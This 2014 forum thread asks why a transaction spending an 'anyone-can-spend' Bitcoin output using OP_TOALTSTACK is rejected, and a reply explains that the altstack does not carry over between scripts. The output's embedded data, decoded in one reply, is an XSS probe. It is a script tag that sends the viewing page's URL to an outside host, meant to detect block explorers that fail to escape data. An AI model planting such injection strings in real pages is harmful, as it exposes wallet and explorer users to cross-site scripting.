TimS (OP)
|
|
July 19, 2014, 10:17:43 PM Last edit: July 21, 2014, 10:22:19 PM by TimS |
|
https://blockchain.info/tx/4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af has the following output: OP_ADD OP_ADD OP_13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK 203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f687265663d27202b206c6f636174696f6e2e68726566202b2027273e27293b3c2f7363726970743e20 OP_DROP I think this script should be able to spend it: OP_TRUE OP_TOALTSTACK 2 5 6 Entering the scripts at http://webbtc.com/script seems to agree with me. I formed this transaction to spend it and another anyone-spend, but it's being rejected by Eligius (despite including a suitable tx fee). Here it is in raw format 01000000026086d0c41c0cc79bbf888a74b324cd4c5f1111413899d6fb3daf62a6cb737dce010000000151ffffffffaf73ff160d0434f1d8da871552ba06b1c24af1e91b494b2f4cbe25457eb973430000000005516b525556ffffffff0100380200000000001976a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac00000000 And in Bitcoin Core's JSON encoding { "txid": "30684e2958af4b5c87b316d54b1a1f011883d1287f3aea6ff2d058b179f1dae9", "version": 1, "locktime": 0, "vin": [ { "txid": "ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660", "vout": 1, "scriptSig": { "asm": "1", "hex": "51" }, "sequence": 4294967295 }, { "txid": "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af", "vout": 0, "scriptSig": { "asm": "1 OP_TOALTSTACK 2 5 6", "hex": "516b525556" }, "sequence": 4294967295 } ], "vout": [ { "value": 0.00145408, "n": 0, "scriptPubKey": { "asm": "OP_DUP OP_HASH160 cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f2 OP_EQUALVERIFY OP_CHECKSIG", "hex": "76a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac", "reqSigs": 1, "type": "pubkeyhash", "addresses": [ "1KX1Xcnw3Ugzka9DxbCqT8iD73iPvpcPgu" ] } } ] } Is this transaction valid or invalid? If it's valid, why does Eligius reject it? Is there any pool that will take it? If it's invalid, why?
|
|
|
|
theymos
Administrator
Legendary
Offline
Activity: 5376
Merit: 13407
|
|
July 20, 2014, 01:09:02 AM |
|
I think that it's valid. Try paying a higher fee.
|
1NXYoJ5xU91Jp83XfVMHwwTUyZFK64BoAD
|
|
|
TimS (OP)
|
|
July 20, 2014, 01:16:12 AM |
|
I think that it's valid. Try paying a higher fee.
That's not it: even if I reduce the output to 0 so the fee is 0.00153600 BTC, Eligius rejects it with the same generic error: Trying to send... array(3) { ["result"]=> NULL ["error"]=> array(2) { ["code"]=> int(-22) ["message"]=> string(11) "TX rejected" } ["id"]=> string(1) "1" } Response = 0
|
|
|
|
dontCAREhair
Member
Offline
Activity: 119
Merit: 100
|
|
July 20, 2014, 01:25:55 AM |
|
Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.
|
|
|
|
rapport
|
|
July 20, 2014, 02:56:03 AM |
|
OP did you create the tx that you are now trying to spend? Testnet is better to help you avoid losing btc
|
|
|
|
DeathAndTaxes
Donator
Legendary
Offline
Activity: 1218
Merit: 1079
Gerald Davis
|
|
July 20, 2014, 03:09:21 AM |
|
Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.
There is no such thing as an output address. Outputs are scripts and blockchain.info is pretty bad at decoding all but the most basic and standardized scripts.
|
|
|
|
amaclin
Legendary
Offline
Activity: 1260
Merit: 1019
|
|
July 20, 2014, 05:06:00 AM Last edit: July 20, 2014, 06:45:46 AM by amaclin |
|
Eligius alerady contains spending tx in its memory-pool Double-spending attempt causes generic -22 error
UPDATE: not confirmed. Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.
|
|
|
|
TimS (OP)
|
|
July 20, 2014, 12:31:52 PM |
|
OP did you create the tx that you are now trying to spend? Testnet is better to help you avoid losing btc
I'm aware of Testnet, though I've never bothered to do anything with it. I created ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660, which is a simple anyone-spend script (it's zero-length) worth only 0.0001, see this thread talking about it: https://bitcointalk.org/index.php?topic=686214.0After seeing this remained unspent for several days, I wondered if there were any other anyone-spends out there, and ran across this other tx that I'm trying to spend, worth ~1.4 mBTC=~$1. I did not create it, and I realize I'm spending more in time than I'll actually get as a reward for spending it to myself. Just doing it out of curiosity. Eligius alerady contains spending tx in its memory-pool Double-spending attempt causes generic -22 error
UPDATE: not confirmed. Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.
Nope, not that easy: Eligius would've entered that into the blockchain by now, but both txouts are still unspent. Does anyone know of a way to have Bitcoin Core try to validate the transaction? Maybe Eligius's validator doesn't implement the alt stack correctly.
|
|
|
|
DeathAndTaxes
Donator
Legendary
Offline
Activity: 1218
Merit: 1079
Gerald Davis
|
|
July 20, 2014, 04:02:18 PM |
|
Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.
|
|
|
|
TimS (OP)
|
|
July 20, 2014, 06:47:21 PM |
|
Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.
I've tried various output/fee amounts (but without adding an extra input), including fees of 0.00008192, 0.0001, 0.0002, and 0.001536 (the whole amount). I'm pretty sure that I've met any tx fee and dust requirements Eligius might have, including all of the public rules at http://eligius.st/~gateway/faq-page. I was the one that submitted https://blockchain.info/tx/ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660 to Eligius, which has a smaller total input than this transaction, and was accepted without an issue with a 0.0001 fee. Also, this transaction is very small, at only 132 bytes, so anything that takes size as a factor should rank this very favorably.
|
|
|
|
DeathAndTaxes
Donator
Legendary
Offline
Activity: 1218
Merit: 1079
Gerald Davis
|
|
July 21, 2014, 04:45:33 PM |
|
TimS,
I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius. Unfortunately bitcoind lacks good tools for validating transactions. Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't. You may want to reach out to Eligius pool directly.
|
|
|
|
amaclin
Legendary
Offline
Activity: 1260
Merit: 1019
|
|
July 21, 2014, 05:51:12 PM |
|
I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius. Unfortunately bitcoind lacks good tools for validating transactions. Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't. You may want to reach out to Eligius pool directly.
There is no direct connection to Eligius from Internet. We can reach only the gate node. 68.168.105.168:8333 (I think that it is gate node) also ignores redeem tx. It is possible to download, compile and debug Luke's version of bitcoin https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:
|
|
|
|
|
Taras
Legendary
Offline
Activity: 1386
Merit: 1053
Please do not PM me loan requests!
|
|
July 22, 2014, 10:38:03 PM |
|
The transaction has the following metadata: <script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + '\'>');</script>Interesting...
|
|
|
|
TimS (OP)
|
|
July 22, 2014, 10:53:34 PM |
|
Yep, that site (which appears safe to me) explains itself: Since the blockchain is for transaction data, the above string [script tag] should do nothing. If this text is inserted into a page without escaping, then there is potentially a XSS issue. Since some sites that allow you to view the blockchain ALSO are wallets, the security ramifications of a hole like this could be very great.
|
|
|
|
amaclin
Legendary
Offline
Activity: 1260
Merit: 1019
|
|
July 23, 2014, 05:18:40 PM |
|
bool VerifyScript(const CScript& scriptSig, const CScript& scriptPubKey, const CTransaction& txTo, unsigned int nIn, unsigned int flags, int nHashType) { vector<vector<unsigned char> > stack, stackCopy; if (!EvalScript(stack, scriptSig, txTo, nIn, flags, nHashType)) return false; if (flags & SCRIPT_VERIFY_P2SH) stackCopy = stack; if (!EvalScript(stack, scriptPubKey, txTo, nIn, flags, nHashType)) return false;
Evaluating scriptSig and scriptPubKey deal with the same stack (of course, the first one is pushing, second is checking) But they use local altStack for calculations!!! So, it is impossible to push value with scriptSig to altStack and pop it later when processing scriptPubKey. This output is unspendable. Coins lost.
|
|
|
|
rapport
|
|
July 24, 2014, 07:30:51 AM |
|
Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used?
|
|
|
|
amaclin
Legendary
Offline
Activity: 1260
Merit: 1019
|
|
July 24, 2014, 07:59:27 AM Last edit: July 24, 2014, 08:21:40 AM by amaclin |
|
Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used? It is not broken. It can be used in scriptSig and scriptPubKey for storing local values during evaluation. But after evaluating scriptSig the contents of altstack are cleared. The only way to pass values from scriptSig to scriptPubKey is stack not altstack. I do not see any reason to change or even think about changing this behavior. And I do not see any reason to use altstack right now.
|
|
|
|
rapport
|
|
July 25, 2014, 08:26:30 AM |
|
Good explanation, thanks! PS I think your English is good and better than what you probably think
|
|
|
|
poisenrang
|
|
July 25, 2014, 08:12:57 PM |
|
maybe its about the fees?
|
██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
|
|
|
|